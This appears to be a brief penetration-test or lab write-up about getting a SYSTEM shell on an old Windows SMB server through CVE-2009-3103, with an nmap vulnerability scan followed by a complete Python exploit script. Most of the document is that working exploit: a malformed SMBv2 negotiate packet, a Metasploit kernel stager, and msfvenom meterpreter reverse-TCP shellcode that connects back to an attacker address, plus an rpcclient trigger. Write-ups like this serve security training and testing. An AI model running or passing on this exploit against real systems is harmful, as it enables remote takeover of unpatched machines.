Internal

Got elevated shell using publicly available exloit

Summary

• The machine was running an old version of Microsoft Windows SMB server

• used a publicaly avaialbe exploit to get a SYSTEM shell on the box

🧵Let's Unpack

Enumeration

sudo nmap --script smb-vuln* -p 139,445 -oN smb-vuln-scan 192.168.166.40

smb-vuln-cve2009-3103: 
|   VULNERABLE:
|   SMBv2 exploit (CVE-2009-3103, Microsoft Security Advisory 975497)
|     State: VULNERABLE
|     IDs:  CVE:CVE-2009-3103
|           Array index error in the SMBv2 protocol implementation in srv2.sys in Microsoft Windows Vista Gold, SP1, and SP2,
|           Windows Server 2008 Gold and SP2, and Windows 7 RC allows remote attackers to execute arbitrary code or cause a
|           denial of service (system crash) via an & (ampersand) character in a Process ID High header field in a NEGOTIATE
|           PROTOCOL REQUEST packet, which triggers an attempted dereference of an out-of-bounds memory location,
|           aka "SMBv2 Negotiation Vulnerability."
|           
|     Disclosure date: 2009-09-08
|     References:
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3103
|_      http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3103

As indicated by the Nmap scan, the SMB is vulnerable to CVE-2009-3103.

Initial Foothold (without Metasploit)

Using the following exploit to get a shell on the box

Exploit/MS09_050.py at master · ohnozzy/ExploitGitHub

Exploit that worked!

# EDB-Note: Source ~ https://raw.githubusercontent.com/ohnozzy/Exploit/master/MS09_050.py

#!/usr/bin/python
#This module depends on the linux command line program smbclient. 
#I can't find a python smb library for smb login. If you can find one, you can replace that part of the code with the smb login function in python.
#The idea is that after the evil payload is injected by the first packet, it need to be trigger by an authentication event. Whether the authentication successes or not does not matter.
import tempfile
import sys
import subprocess
from socket import socket
from time import sleep
from smb.SMBConnection import SMBConnection


try:

 target = sys.argv[1]
except IndexError:
 print('\nUsage: %s <target ip>\n' % sys.argv[0])
 print('Example: MS36299.py 192.168.1.1 1\n')
 sys.exit(-1)

# msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.45.249 LPORT=4444 EXITFUNC=thread  -f python

shell =  b""
shell += b"\xfc\xe8\x8f\x00\x00\x00\x60\x31\xd2\x89\xe5\x64"
shell += b"\x8b\x52\x30\x8b\x52\x0c\x8b\x52\x14\x31\xff\x8b"
shell += b"\x72\x28\x0f\xb7\x4a\x26\x31\xc0\xac\x3c\x61\x7c"
shell += b"\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\x49\x75\xef\x52"
shell += b"\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78"
shell += b"\x85\xc0\x74\x4c\x01\xd0\x8b\x58\x20\x8b\x48\x18"
shell += b"\x01\xd3\x50\x85\xc9\x74\x3c\x49\x8b\x34\x8b\x31"
shell += b"\xff\x01\xd6\x31\xc0\xc1\xcf\x0d\xac\x01\xc7\x38"
shell += b"\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe0\x58"
shell += b"\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c"
shell += b"\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b"
shell += b"\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12"
shell += b"\xe9\x80\xff\xff\xff\x5d\x68\x33\x32\x00\x00\x68"
shell += b"\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\x89\xe8"
shell += b"\xff\xd0\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68"
shell += b"\x29\x80\x6b\x00\xff\xd5\x6a\x0a\x68\xc0\xa8\x2d"
shell += b"\xf9\x68\x02\x00\x11\x5c\x89\xe6\x50\x50\x50\x50"
shell += b"\x40\x50\x40\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x97"
shell += b"\x6a\x10\x56\x57\x68\x99\xa5\x74\x61\xff\xd5\x85"
shell += b"\xc0\x74\x0a\xff\x4e\x08\x75\xec\xe8\x67\x00\x00"
shell += b"\x00\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f"
shell += b"\xff\xd5\x83\xf8\x00\x7e\x36\x8b\x36\x6a\x40\x68"
shell += b"\x00\x10\x00\x00\x56\x6a\x00\x68\x58\xa4\x53\xe5"
shell += b"\xff\xd5\x93\x53\x6a\x00\x56\x53\x57\x68\x02\xd9"
shell += b"\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x28\x58\x68\x00"
shell += b"\x40\x00\x00\x6a\x00\x50\x68\x0b\x2f\x0f\x30\xff"
shell += b"\xd5\x57\x68\x75\x6e\x4d\x61\xff\xd5\x5e\x5e\xff"
shell += b"\x0c\x24\x0f\x85\x70\xff\xff\xff\xe9\x9b\xff\xff"
shell += b"\xff\x01\xc3\x29\xc6\x75\xc1\xc3\xbb\xe0\x1d\x2a"
shell += b"\x0a\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a"
shell += b"\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00"
shell += b"\x53\xff\xd5"


host = target, 445

buff =b"\x00\x00\x03\x9e\xff\x53\x4d\x42"
buff+=b"\x72\x00\x00\x00\x00\x18\x53\xc8"
buff+=b"\x17\x02" #high process ID
buff+=b"\x00\xe9\x58\x01\x00\x00"
buff+=b"\x00\x00\x00\x00\x00\x00\x00\x00"
buff+=b"\x00\x00\xfe\xda\x00\x7b\x03\x02"
buff+=b"\x04\x0d\xdf\xff"*25
buff+=b"\x00\x02\x53\x4d"
buff+=b"\x42\x20\x32\x2e\x30\x30\x32\x00"
buff+=b"\x00\x00\x00\x00"*37
buff+=b"\xff\xff\xff\xff"*2
buff+=b"\x42\x42\x42\x42"*7
buff+=b"\xb4\xff\xff\x3f" #magic index
buff+=b"\x41\x41\x41\x41"*6
buff+=b"\x09\x0d\xd0\xff" #return address

# stager_sysenter_hook from metasploit

buff+=b"\xfc\xfa\xeb\x1e\x5e\x68\x76\x01"
buff+=b"\x00\x00\x59\x0f\x32\x89\x46\x5d"
buff+=b"\x8b\x7e\x61\x89\xf8\x0f\x30\xb9"
buff+=b"\x16\x02\x00\x00\xf3\xa4\xfb\xf4"
buff+=b"\xeb\xfd\xe8\xdd\xff\xff\xff\x6a"
buff+=b"\x00\x9c\x60\xe8\x00\x00\x00\x00"
buff+=b"\x58\x8b\x58\x54\x89\x5c\x24\x24"
buff+=b"\x81\xf9\xde\xc0\xad\xde\x75\x10"
buff+=b"\x68\x76\x01\x00\x00\x59\x89\xd8"
buff+=b"\x31\xd2\x0f\x30\x31\xc0\xeb\x31"
buff+=b"\x8b\x32\x0f\xb6\x1e\x66\x81\xfb"
buff+=b"\xc3\x00\x75\x25\x8b\x58\x5c\x8d"
buff+=b"\x5b\x69\x89\x1a\xb8\x01\x00\x00"
buff+=b"\x80\x0f\xa2\x81\xe2\x00\x00\x10"
buff+=b"\x00\x74\x0e\xba\x00\xff\x3f\xc0"
buff+=b"\x83\xc2\x04\x81\x22\xff\xff\xff"
buff+=b"\x7f\x61\x9d\xc3\xff\xff\xff\xff"
buff+=b"\x00\x04\xdf\xff\x00\x04\xfe\x7f"
buff+=b"\x60\x6a\x30\x58\x99\x64\x8b\x18"
buff+=b"\x39\x53\x0c\x74\x2b\x8b\x43\x10"
buff+=b"\x8b\x40\x3c\x83\xc0\x28\x8b\x08"
buff+=b"\x03\x48\x03\x81\xf9\x6c\x61\x73"
buff+=b"\x73\x75\x15\xe8\x07\x00\x00\x00"
buff+=b"\xe8\x0d\x00\x00\x00\xeb\x09\xb9"
buff+=b"\xde\xc0\xad\xde\x89\xe2\x0f\x34"
buff+=b"\x61\xc3\x81\xc4\x54\xf2\xff\xff"

buff+=shell

s = socket()
s.connect(host)
s.send(buff)
s.close() 
#Trigger the above injected code via authenticated process.
subprocess.call("echo '1223456' | rpcclient -U Administrator %s"%(target), shell=True)